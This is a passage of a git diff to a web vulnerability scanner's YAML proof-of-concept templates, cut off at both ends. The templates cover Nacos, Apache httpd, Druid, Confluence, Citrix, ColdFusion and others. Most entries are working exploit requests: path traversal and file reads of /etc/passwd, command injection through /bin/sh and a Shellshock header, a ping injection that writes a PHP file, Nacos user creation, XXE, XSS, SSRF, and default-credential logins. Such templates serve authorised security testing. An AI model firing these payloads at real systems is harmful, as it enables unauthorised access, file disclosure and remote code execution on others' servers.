-    follow_redirects: false
-    expression: |
-      response.status == 200 && response.content_type.icontains("application/json") && response.body.bcontains(b"ncanal.aliyun.accessKey") && response.body.bcontains(b"ncanal.aliyun.secretKey")
-detail:
-  author: Aquilao(https://github.com/Aquilao)
-  info: alibaba Canal info leak
-  links:
-    - https://my.oschina.net/u/4581879/blog/4753320
--- a/WebScan/pocs/alibaba-nacos-api-unauth.yml
+++ b/WebScan/pocs/alibaba-nacos-api-unauth.yml
@@ -0,0 +1,15 @@
+name: poc-yaml-alibaba-nacos-api-unauth
+rules:
+  - method: GET
+    path: /nacos/v1/auth/users?pageNo=1&pageSize=9
+    headers:
+      User-Agent: Nacos-Server
+    follow_redirects: true
+    expression: |
+      response.content_type.contains("application/json") && response.body.bcontains(bytes("totalCount")) && response.body.bcontains(bytes("pagesAvailable")) && response.body.bcontains(bytes("username")) && response.body.bcontains(bytes("password"))
+detail:
+  author: AgeloVito
+  info: alibaba-nacos-api-unauth
+  login: nacos/nacos
+  links:
+    - https://blog.csdn.net/caiqiiqi/article/details/112005424
--- a/WebScan/pocs/alibaba-nacos-v1-auth-bypass.yml
+++ b/WebScan/pocs/alibaba-nacos-v1-auth-bypass.yml
@@ -1,27 +0,0 @@
-name: poc-yaml-alibaba-nacos-v1-auth-bypass
-set:
-  r1: randomLowercase(16)
-  r2: randomLowercase(16)
-rules:
-  - method: POST
-    path: "/nacos/v1/auth/users?username={{r1}}&password={{r2}}"
-    headers:
-      User-Agent: Nacos-Server
-    expression: |
-      response.status == 200 && response.body.bcontains(bytes("create user ok!"))
-  - method: GET
-    path: "/nacos/v1/auth/users?pageNo=1&pageSize=999"
-    headers:
-      User-Agent: Nacos-Server
-    expression: |
-      response.status == 200 && response.body.bcontains(bytes(r1))
-  - method: DELETE
-    path: "/nacos/v1/auth/users?username={{r1}}"
-    headers:
-      User-Agent: Nacos-Server
-    expression: |
-      response.status == 200 && response.body.bcontains(bytes("delete user ok!"))
-detail:
-  author: kmahyyg(https://github.com/kmahyyg)
-  links:
-    - https://github.com/alibaba/nacos/issues/4593
--- a/WebScan/pocs/amtt-hiboss-server-ping-rce.yml
+++ b/WebScan/pocs/amtt-hiboss-server-ping-rce.yml
@@ -1,18 +0,0 @@
-name: poc-yaml-amtt-hiboss-server-ping-rce
-set:
-  r2: randomLowercase(10)
-rules:
-  - method: GET
-    path: /manager/radius/server_ping.php?ip=127.0.0.1|echo%20"<?php%20echo%20md5({{r2}});unlink(__FILE__);?>">../../{{r2}}.php&id=1
-    expression: |
-      response.status == 200 && response.body.bcontains(b"parent.doTestResult")
-  - method: GET
-    path: /{{r2}}.php
-    expression: |
-      response.status == 200 && response.body.bcontains(bytes(md5(r2)))
-
-detail:
-  author: YekkoY
-  description: "安美数字-酒店宽带运营系统-远程命令执行漏洞"
-  links:
-    - http://wiki.peiqi.tech/PeiQi_Wiki/Web%E5%BA%94%E7%94%A8%E6%BC%8F%E6%B4%9E/%E5%AE%89%E7%BE%8E%E6%95%B0%E5%AD%97/%E5%AE%89%E7%BE%8E%E6%95%B0%E5%AD%97%20%E9%85%92%E5%BA%97%E5%AE%BD%E5%B8%A6%E8%BF%90%E8%90%A5%E7%B3%BB%E7%BB%9F%20server_ping.php%20%E8%BF%9C%E7%A8%8B%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E.html
--- a/WebScan/pocs/apache-ambari-default-password.yml
+++ b/WebScan/pocs/apache-ambari-default-password.yml
@@ -1,11 +0,0 @@
-name: poc-yaml-apache-ambari-default-password
-rules:
-  - method: GET
-    path: /api/v1/users/admin?fields=*,privileges/PrivilegeInfo/cluster_name,privileges/PrivilegeInfo/permission_name
-    headers:
-      Authorization: Basic YWRtaW46YWRtaW4=
-    expression: response.status == 200 && response.body.bcontains(b"PrivilegeInfo") && response.body.bcontains(b"AMBARI.ADMINISTRATOR")
-detail:
-    author: wulalalaaa(https://github.com/wulalalaaa)
-    links:
-        - https://cwiki.apache.org/confluence/display/AMBARI/Quick+Start+Guide
--- a/WebScan/pocs/apache-druid-cve-2021-36749.yml
+++ b/WebScan/pocs/apache-druid-cve-2021-36749.yml
@@ -1,24 +0,0 @@
-name: poc-yaml-apache-druid-cve-2021-36749
-manual: true
-transport: http
-groups:
-  druid1:
-  - method: POST
-    path: /druid/indexer/v1/sampler?for=connect
-    headers:
-      Content-Type: application/json;charset=utf-8
-    body: |
-      {"type":"index","spec":{"ioConfig":{"type":"index","firehose":{"type":"http","uris":["file:///etc/passwd"]}}},"samplerConfig":{"numRows":500}}
-    expression: response.status == 200 && response.content_type.contains("json") && "root:[x*]:0:0:".bmatches(response.body)
-  druid2:
-  - method: POST
-    path: /druid/indexer/v1/sampler?for=connect
-    headers:
-      Content-Type: application/json;charset=utf-8
-    body: |
-      {"type":"index","spec":{"ioConfig":{"type":"index","firehose":{"type":"http","uris":["file:///c://windows/win.ini"]}}},"samplerConfig":{"numRows":500}}
-    expression: response.status == 200 && response.content_type.contains("json") && response.body.bcontains(b"for 16-bit app support")
-detail:
-  author: iak3ec(https://github.com/nu0l)
-  links:
-    - https://mp.weixin.qq.com/s/Fl2hSO-y60VsTi5YJFyl0w
--- a/WebScan/pocs/apache-flink-upload-rce.yml
+++ b/WebScan/pocs/apache-flink-upload-rce.yml
@@ -7,7 +7,8 @@ rules:
      path: /jars
      follow_redirects: true
      expression: >
-        response.status == 200 && response.content_type.contains("json") && response.body.bcontains(b"address") && response.body.bcontains(b"files")
+        response.status == 200 && response.content_type.contains("json") &&
+        response.body.bcontains(b"address") && response.body.bcontains(b"files")
    - method: POST
      path: /jars/upload
      headers:
@@ -22,7 +23,8 @@ rules:

      follow_redirects: true
      expression: >
-        response.status == 200 && response.content_type.contains("json") && response.body.bcontains(b"success") && response.body.bcontains(bytes(r2))
+        response.status == 200 && response.content_type.contains("json") &&
+        response.body.bcontains(b"success") && response.body.bcontains(bytes(r2))
      search: >-
        (?P<filen>([a-zA-Z0-9]{8}-[a-zA-Z0-9]{4}-[a-zA-Z0-9]{4}-[a-zA-Z0-9]{4}-[a-zA-Z0-9]{12}_[a-z]{4}.jar))
    - method: DELETE
--- a/WebScan/pocs/apache-httpd-cve-2021-40438-ssrf.yml
+++ b/WebScan/pocs/apache-httpd-cve-2021-40438-ssrf.yml
@@ -1,12 +0,0 @@
-name: poc-yaml-apache-httpd-cve-2021-40438-ssrf
-manual: true
-transport: http
-rules:
-  - method: GET
-    path: /?unix:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA|http://baidu.com/api/v1/targets
-    follow_redirects: false
-    expression: response.status == 302 && response.headers["Location"] == "http://www.baidu.com/search/error.html"
-detail:
-  author: Jarcis-cy(https://github.com/Jarcis-cy)
-  links:
-    - https://github.com/vulhub/vulhub/blob/master/httpd/CVE-2021-40438
--- a/WebScan/pocs/apache-httpd-cve-2021-41773-path-traversal.yml
+++ b/WebScan/pocs/apache-httpd-cve-2021-41773-path-traversal.yml
@@ -1,16 +0,0 @@
-name: poc-yaml-apache-httpd-cve-2021-41773-path-traversal
-groups:
-  cgibin:
-    - method: GET
-      path: /cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/etc/passwd
-      expression: |
-        response.status == 200 && "root:[x*]:0:0:".bmatches(response.body)
-  icons:
-    - method: GET
-      path: /icons/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/etc/passwd
-      expression: |
-        response.status == 200 && "root:[x*]:0:0:".bmatches(response.body)
-detail:
-  author: JingLing(https://github.com/shmilylty)
-  links:
-    - https://mp.weixin.qq.com/s/XEnjVwb9I0GPG9RG-v7lHQ
--- a/WebScan/pocs/apache-httpd-cve-2021-41773-rce.yml
+++ b/WebScan/pocs/apache-httpd-cve-2021-41773-rce.yml
@@ -1,14 +0,0 @@
-name: poc-yaml-apache-httpd-cve-2021-41773-rce
-set:
-  r1: randomInt(800000000, 1000000000)
-  r2: randomInt(800000000, 1000000000)
-rules:
-  - method: POST
-    path: /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/bin/sh
-    body: echo;expr {{r1}} + {{r2}}
-    expression: |
-      response.status == 200 && response.body.bcontains(bytes(string(r1 + r2)))
-detail:
-  author: B1anda0(https://github.com/B1anda0)
-  links:
-    - https://nvd.nist.gov/vuln/detail/CVE-2021-41773
--- a/WebScan/pocs/apache-kylin-unauth-cve-2020-13937.yml
+++ b/WebScan/pocs/apache-kylin-unauth-cve-2020-13937.yml
@@ -1,10 +0,0 @@
-name: poc-yaml-apache-kylin-unauth-cve-2020-13937
-rules:
-  - method: GET
-    path: /kylin/api/admin/config
-    expression: |
-      response.status == 200 && response.headers["Content-Type"].contains("application/json") && response.body.bcontains(b"config") && response.body.bcontains(b"kylin.metadata.url")
-detail:
-  author: JingLing(github.com/shmilylty)
-  links:
-    - https://s.tencent.com/research/bsafe/1156.html
--- a/WebScan/pocs/apache-nifi-api-unauthorized-access.yml
+++ b/WebScan/pocs/apache-nifi-api-unauthorized-access.yml
@@ -1,12 +0,0 @@
-name: poc-yaml-apache-nifi-api-unauthorized-access
-manual: true
-transport: http
-rules:
-  - method: GET
-    path: /nifi-api/flow/current-user
-    follow_redirects: false
-    expression: response.status == 200 && response.content_type.contains("json") && response.body.bcontains(b"\"identity\":\"anonymous\",\"anonymous\":true")
-detail:
-    author: wulalalaaa(https://github.com/wulalalaaa)
-    links:
-        - https://nifi.apache.org/docs/nifi-docs/rest-api/index.html
--- a/WebScan/pocs/apache-ofbiz-cve-2020-9496-xml-deserialization.yml
+++ b/WebScan/pocs/apache-ofbiz-cve-2020-9496-xml-deserialization.yml
@@ -11,7 +11,7 @@ rules:
      version="1.0"?><methodCall><methodName>{{rand}}</methodName><params><param><value>dwisiswant0</value></param></params></methodCall>
    follow_redirects: false
    expression: >
-      response.status == 200 && response.content_type.contains("xml") && response.body.bcontains(bytes("methodResponse")) && response.body.bcontains(bytes("No such service [" + string(rand)))
+      response.status == 200 && response.body.bcontains(bytes("methodResponse")) && response.body.bcontains(bytes("No such service [" + string(rand)))
 detail:
  author: su(https://suzzz112113.github.io/#blog)
  links:
--- a/WebScan/pocs/apache-ofbiz-cve-2018-8033-xxe.yml
+++ b/WebScan/pocs/apache-ofbiz-cve-2018-8033-xxe.yml
@@ -1,4 +1,4 @@
-name: poc-yaml-apache-ofbiz-cve-2018-8033-xxe
+name: poc-yaml-apacheofbiz-cve-2018-8033-xxe
 rules:
  - method: POST
    path: /webtools/control/xmlrpc
@@ -8,8 +8,8 @@ rules:
      <?xml version="1.0"?><!DOCTYPE x [<!ENTITY disclose SYSTEM "file://///etc/passwd">]><methodCall><methodName>&disclose;</methodName></methodCall>
    follow_redirects: false
    expression: >
-      response.status == 200 && response.content_type.contains("text/xml") && "root:[x*]:0:0:".bmatches(response.body)
+      response.status == 200 && "root:[x*]:0:0:".bmatches(response.body) && response.content_type.contains("text/xml")
 detail:
  author: su(https://suzzz112113.github.io/#blog)
  links:
-    - https://github.com/jamieparfet/Apache-OFBiz-XXE/blob/master/exploit.py
+    - https://github.com/jamieparfet/Apache-OFBiz-XXE/blob/master/exploit.py
--- a/WebScan/pocs/aspcms-backend-leak.yml
+++ b/WebScan/pocs/aspcms-backend-leak.yml
@@ -1,16 +0,0 @@
-name: poc-yaml-aspcms-backend-leak
-rules:
-  - method: GET
-    path: /plug/oem/AspCms_OEMFun.asp
-    expression: |
-      response.status == 200 && "<script>alert".bmatches(response.body) && "top.location.href='(.*?)';".bmatches(response.body)
-    search: >-
-        (?P<path>(/(.*?).asp))
-  - method: GET
-    path: /{{path}}
-    expression: |
-      response.status == 200 && response.body.bcontains(b"username")
-detail:
-  author: Hzllaga
-  links:
-    - https://www.onebug.org/wooyundata/65458.html
--- a/WebScan/pocs/bash-cve-2014-6271.yml
+++ b/WebScan/pocs/bash-cve-2014-6271.yml
@@ -1,14 +0,0 @@
-name: poc-yaml-bash-cve-2014-6271
-set:
-  r1: randomInt(800000000, 1000000000)
-  r2: randomInt(800000000, 1000000000)
-rules:
-  - method: GET
-    headers:
-      User-Agent: "() { :; }; echo; echo; /bin/bash -c 'expr {{r1}} + {{r2}}'"
-    follow_redirects: false
-    expression: response.body.bcontains(bytes(string(r1 + r2)))
-detail:
-  author: neal1991(https://github.com/neal1991)
-  links:
-    - https://github.com/opsxcq/exploit-CVE-2014-6271
--- a/WebScan/pocs/cacti-weathermap-file-write.yml
+++ b/WebScan/pocs/cacti-weathermap-file-write.yml
@@ -1,15 +0,0 @@
-name: poc-yaml-cacti-weathermap-file-write
-rules:
-  - method: GET
-    path: >-
-      /plugins/weathermap/editor.php?plug=0&mapname=test.php&action=set_map_properties&param=&param2=&debug=existing&node_name=&node_x=&node_y=&node_new_name=&node_label=&node_infourl=&node_hover=&node_iconfilename=--NONE--&link_name=&link_bandwidth_in=&link_bandwidth_out=&link_target=&link_width=&link_infourl=&link_hover=&map_title=46ea1712d4b13b55b3f680cc5b8b54e8&map_legend=Traffic+Load&map_stamp=Created%3A%2B%25b%2B%25d%2B%25Y%2B%25H%3A%25M%3A%25S&map_linkdefaultwidth=7
-    follow_redirects: false
-    expression: response.status == 200
-  - method: GET
-    path: /plugins/weathermap/configs/test.php
-    follow_redirects: false
-    expression: response.status == 200 && response.body.bcontains(b"46ea1712d4b13b55b3f680cc5b8b54e8")
-detail:
-  author: whynot(https://github.com/notwhy)
-  links:
-    - https://www.secpulse.com/archives/47690.html
--- a/WebScan/pocs/chinaunicom-modem-default-password.yml
+++ b/WebScan/pocs/chinaunicom-modem-default-password.yml
@@ -1,9 +0,0 @@
-name: poc-yaml-chinaunicom-modem-default-password
-rules:
-  - method: POST
-    path: /cu.html
-    body: >-
-      frashnum=&action=login&Frm_Logintoken=1&Username=CUAdmin&Password=CUAdmin&Username=&Password=
-    follow_redirects: false
-    expression: |
-      response.status == 302 && response.headers["location"] == "/menu.gch"
--- a/WebScan/pocs/citrix-cve-2019-19781-path-traversal.yml
+++ b/WebScan/pocs/citrix-cve-2019-19781-path-traversal.yml
@@ -1,11 +0,0 @@
-name: poc-yaml-citrix-cve-2019-19781-path-traversal
-rules:
-  - method: GET
-    path: /vpn/../vpns/cfg/smb.conf
-    follow_redirects: false
-    expression: |
-      response.status == 200 && response.body.bcontains(b"encrypt passwords") && response.body.bcontains(b"name resolve order")
-detail:
-  author: su(https://suzzz112113.github.io/#blog)
-  links:
-    - https://www.tripwire.com/state-of-security/vert/citrix-netscaler-cve-2019-19781-what-you-need-to-know/
--- a/WebScan/pocs/citrix-cve-2020-8191-xss.yml
+++ b/WebScan/pocs/citrix-cve-2020-8191-xss.yml
@@ -1,18 +0,0 @@
-name: poc-yaml-citrix-cve-2020-8191-xss
-set:
-  r1: randomLowercase(6)
-rules:
-  - method: POST
-    path: /menu/stapp
-    headers:
-      Content-Type: application/x-www-form-urlencoded
-    body: >-
-      sid=254&pe=1%2C2%2C3%2C4%2C5&appname=%0D%0A%3C%2Ftitle%3E%3Cscript%3Ealert%28{{r1}}%29%3B%3C%2Fscript%3E&au=1&username=nsroot
-    follow_redirects: true
-    expression: response.body.bcontains(bytes("<script>alert(" + r1 + ");</script>")) && response.body.bcontains(b"citrix")
-detail:
-  author: JingLing(https://hackfun.org/)
-  links:
-    - https://support.citrix.com/article/CTX276688
-    - https://www.citrix.com/blogs/2020/07/07/citrix-provides-context-on-security-bulletin-ctx276688/
-    - https://dmaasland.github.io/posts/citrix.html
--- a/WebScan/pocs/citrix-cve-2020-8193-unauthorized.yml
+++ b/WebScan/pocs/citrix-cve-2020-8193-unauthorized.yml
@@ -1,20 +0,0 @@
-name: poc-yaml-citrix-cve-2020-8193-unauthorized
-set:
-  user: randomLowercase(8)
-  pass: randomLowercase(8)
-rules:
-  - method: POST
-    path: "/pcidss/report?type=allprofiles&sid=loginchallengeresponse1requestbody&username=nsroot&set=1"
-    headers:
-      Content-Type: application/xml
-      X-NITRO-USER: '{{user}}'
-      X-NITRO-PASS: '{{pass}}'
-    body: <appfwprofile><login></login></appfwprofile>
-    follow_redirects: false
-    expression: >
-        response.status == 406 && "(?i)SESSID=\\w{32}".bmatches(bytes(response.headers["Set-Cookie"]))
-detail:
-  author: bufsnake(https://github.com/bufsnake)
-  links:
-    - https://github.com/PR3R00T/CVE-2020-8193-Citrix-Scanner/blob/master/scanner.py
-    - https://blog.unauthorizedaccess.nl/2020/07/07/adventures-in-citrix-security-research.html
--- a/WebScan/pocs/citrix-xenmobile-cve-2020-8209.yml
+++ b/WebScan/pocs/citrix-xenmobile-cve-2020-8209.yml
@@ -1,11 +0,0 @@
-name: poc-yaml-citrix-xenmobile-cve-2020-8209
-rules:
-  - method: GET
-    path: /jsp/help-sb-download.jsp?sbFileName=../../../etc/passwd
-    follow_redirects: false
-    expression: |
-      response.status == 200 && response.content_type.contains("octet-stream") && "^root:[x*]:0:0:".bmatches(response.body)
-detail:
-  author: B1anda0(https://github.com/B1anda0)
-  links:
-    - https://nvd.nist.gov/vuln/detail/CVE-2020-8209
--- a/WebScan/pocs/coldfusion-cve-2010-2861-lfi.yml
+++ b/WebScan/pocs/coldfusion-cve-2010-2861-lfi.yml
@@ -1,13 +0,0 @@
-name: poc-yaml-coldfusion-cve-2010-2861-lfi
-rules:
-  - method: GET
-    path: >-
-      /CFIDE/administrator/enter.cfm?locale=../../../../../../../lib/password.properties%00en
-    follow_redirects: true
-    expression: |
-      response.status == 200 && response.body.bcontains(b"rdspassword=") && response.body.bcontains(b"encrypted=")
-detail:
-  version: 8.0, 8.0.1, 9.0, 9.0.1 and earlier versions
-  author: sharecast
-  links:
-    - https://github.com/vulhub/vulhub/tree/master/coldfusion/CVE-2010-2861
--- a/WebScan/pocs/confluence-cve-2015-8399.yml
+++ b/WebScan/pocs/confluence-cve-2015-8399.yml
@@ -1,10 +0,0 @@
-name: poc-yaml-confluence-cve-2015-8399
-rules:
-  - method: GET
-    path: /spaces/viewdefaultdecorator.action?decoratorName
-    follow_redirects: false
-    expression: response.status == 200 && response.body.bcontains(b"confluence-init.properties") && response.body.bcontains(b"View Default Decorator")
-detail:
-  author: whynot(https://github.com/notwhy)
-  links:
-    - https://www.anquanke.com/vul/id/1150798
--- a/WebScan/pocs/confluence-cve-2019-3396-lfi.yml
+++ b/WebScan/pocs/confluence-cve-2019-3396-lfi.yml
@@ -1,17 +0,0 @@
-name: poc-yaml-confluence-cve-2019-3396-lfi
-rules:
-  - method: POST
-    path: /rest/tinymce/1/macro/preview
-    headers:
-      Content-Type: "application/json"
-      Host: localhost
-      Referer: http://localhost
-    body: >-
-      {"contentId":"786458","macro":{"name":"widget","body":"","params":{"url":"https://www.viddler.com/v/test","width":"1000","height":"1000","_template":"../web.xml"}}}
-    follow_redirects: true
-    expression: |
-      response.status == 200 && response.body.bcontains(b"<param-name>contextConfigLocation</param-name>")
-detail:
-  author: sharecast
-  links:
-    - https://github.com/vulhub/vulhub/tree/master/confluence/CVE-2019-3396
--- a/WebScan/pocs/confluence-cve-2021-26084.yml
+++ b/WebScan/pocs/confluence-cve-2021-26084.yml
@@ -1,15 +0,0 @@
-name: poc-yaml-confluence-cve-2021-26084
-set:
-  r1: randomInt(100000, 999999)
-  r2: randomInt(100000, 999999)
-rules:
-  - method: POST
-    path: /pages/createpage-entervariables.action?SpaceKey=x
-    body: |
-      queryString=\u0027%2b%7b{{r1}}%2B{{r2}}%7d%2b\u0027
-    expression: |
-      response.status == 200 && response.body.bcontains(bytes(string(r1 + r2)))
-detail:
-  author: Loneyer(https://github.com/Loneyers)
-  links:
-    - https://confluence.atlassian.com/doc/confluence-security-advisory-2021-08-25-1077906215.html
--- a/WebScan/pocs/confluence-cve-2021-26085-arbitrary-file-read.yml
+++ b/WebScan/pocs/confluence-cve-2021-26085-arbitrary-file-read.yml
@@ -1,12 +0,0 @@
-name: poc-yaml-confluence-cve-2021-26085-arbitrary-file-read
-set:
-    rand: randomLowercase(6)
-rules:
-  - method: GET
-    path: /s/{{rand}}/_/;/WEB-INF/web.xml
-    follow_redirects: false
-    expression: response.status == 200 && response.body.bcontains(b"<display-name>Confluence</display-name>") && response.body.bcontains(b"com.atlassian.confluence.setup.ConfluenceAppConfig")
-detail:
-    author: wulalalaaa(https://github.com/wulalalaaa)
-    links:
-        - https://packetstormsecurity.com/files/164401/Atlassian-Confluence-Server-7.5.1-Arbitrary-File-Read.html
--- a/WebScan/pocs/consul-rexec-rce.yml
+++ b/WebScan/pocs/consul-rexec-rce.yml
@@ -1,10 +0,0 @@
-name: poc-yaml-consul-rexec-rce
-rules:
-  - method: GET
-    path: /v1/agent/self
-    expression: |
-      response.status == 200 && response.content_type.contains("json") && response.body.bcontains(b"\"DisableRemoteExec\": false")
-detail:
-  author: imlonghao(https://imlonghao.com/)
-  links:
-    - https://www.exploit-db.com/exploits/46073
--- a/WebScan/pocs/consul-service-rce.yml
+++ b/WebScan/pocs/consul-service-rce.yml
@@ -1,10 +0,0 @@
-name: poc-yaml-consul-service-rce
-rules:
-  - method: GET
-    path: /v1/agent/self
-    expression: |
-      response.status == 200 && response.content_type.contains("json") && response.body.bcontains(b"\"EnableScriptChecks\": true") || response.body.bcontains(b"\"EnableRemoteScriptChecks\": true")
-detail:
-  author: imlonghao(https://imlonghao.com/)
-  links:
-    - https://www.exploit-db.com/exploits/46074
--- a/WebScan/pocs/couchcms-cve-2018-7662.yml
+++ b/WebScan/pocs/couchcms-cve-2018-7662.yml
@@ -1,16 +0,0 @@
-name: poc-yaml-couchcms-cve-2018-7662
-rules:
-  - method: GET
-    path: /includes/mysql2i/mysql2i.func.php
-    follow_redirects: false
-    expression: >
